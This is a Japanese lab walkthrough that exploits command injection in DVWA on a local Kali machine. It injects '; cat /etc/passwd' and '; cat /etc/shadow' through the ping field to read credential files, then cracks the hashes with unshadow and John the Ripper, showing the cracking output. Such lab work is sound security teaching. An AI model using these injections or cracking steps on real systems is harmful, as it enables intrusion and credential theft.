DVWAでCommandInjection

## 前提
- kali linux環境がある
- DVWAのセットアップ済み（https://qiita.com/KPenguin/items/7e4f1c428c3dadf8591c ）

## 目標
- command-injectionでパスワードを奪取する
- john-the-ripperで解析する

## 手順概要
- パスワード管理ファイルにアクセスする

## 内容
### command-injectionとは
- 不正なcommandを送り込む

### 前準備
- DVWAにログインする
    - 以下コードをkali上で実行しDVWAを立ち上げる。
    - http://localhost/DVWA-master/index.php
    - admin/passwordでログイン
- セキュリティレベルを下げる。
    - メニュー下にあるDVWA securityへアクセス
    - デフォルトがimpossibleなので、このままではハッキングできない。なのでlowに変更する

```shell:
# ファイルへのアクセス許可する
root@kali:~# service apache2 start
# DB_createできるようにする
root@kali:~# service mysql start 

```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584889/bb95d520-1602-b7b8-afa3-85da3ffb651e.png)

- command-injectionにアクセスする（左メニューにある）
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584889/2cdd96b8-5c18-bf27-6e8f-8d49c46dd61a.png)


### command-injection開始

- 挙動を確認する
    - 通常通りIPを入力：10.0.0.2
    - すると、pingの結果が返ってきた

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584889/9eaed16b-ce7a-15ad-0ad2-62c5ad03e49f.png)



-  挙動を考察する
    -  ping {入力値}であると推測できる。
    -  ping { ; 次に実行したいコマンド }とすればよさそう

- パスワードファイルへアクセスする
    - linuxでは「/etc/passwd」「/etc/shadow」にパスワード情報がある
    - よって実行するコマンドは以下となる
        - 「; cat /etc/passwd」
        - 「; cat /etc/shadow」
    - 実行結果は以下画像による
    - shadowはアクセス禁止されているっぽいが、取れたということで。。。次に進む

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584889/c273033c-e3e5-d9a5-2b5f-0203c5299b06.png)


- パスワード解析する
    - passwdとshadowファイルを連結し、johnさんに投げる。
    - 以下shellを実行すると(id/pw)=root/rootであることが分かった。
    - 現在kali linuxがサーバーみたいなものなので、kali linuxのログイン認証情報を獲得できた。（johnで解析できるように強度の低いパスワードに再設定して解析した。強度が高いと失敗する）

```shell:
# passwd+shadowファイルを連結する
root@kali:~# unshadow /etc/passwd /etc/shadow > hash.txt
# 解析開始
root@kali:~# john hash.txt 
Warning: detected hash type "sha512crypt", but the string is also recognized as "HMAC-SHA256"
Use the "--format=HMAC-SHA256" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 2 candidates buffered for the current salt, minimum 8 needed for performance.
root             (root)
Warning: Only 1 candidate buffered for the current salt, minimum 8 needed for performance.
Warning: Only 4 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 5 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 4 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 2 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 5 candidates buffered for the current salt, minimum 8 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
1g 0:00:00:30 19.38% 2/3 (ETA: 00:18:42) 0.03322g/s 1039p/s 1039c/s 1039C/s mailer2..bandit!
Use the "--show" option to display all of the cracked passwords reliably
Session aborted
```

おわり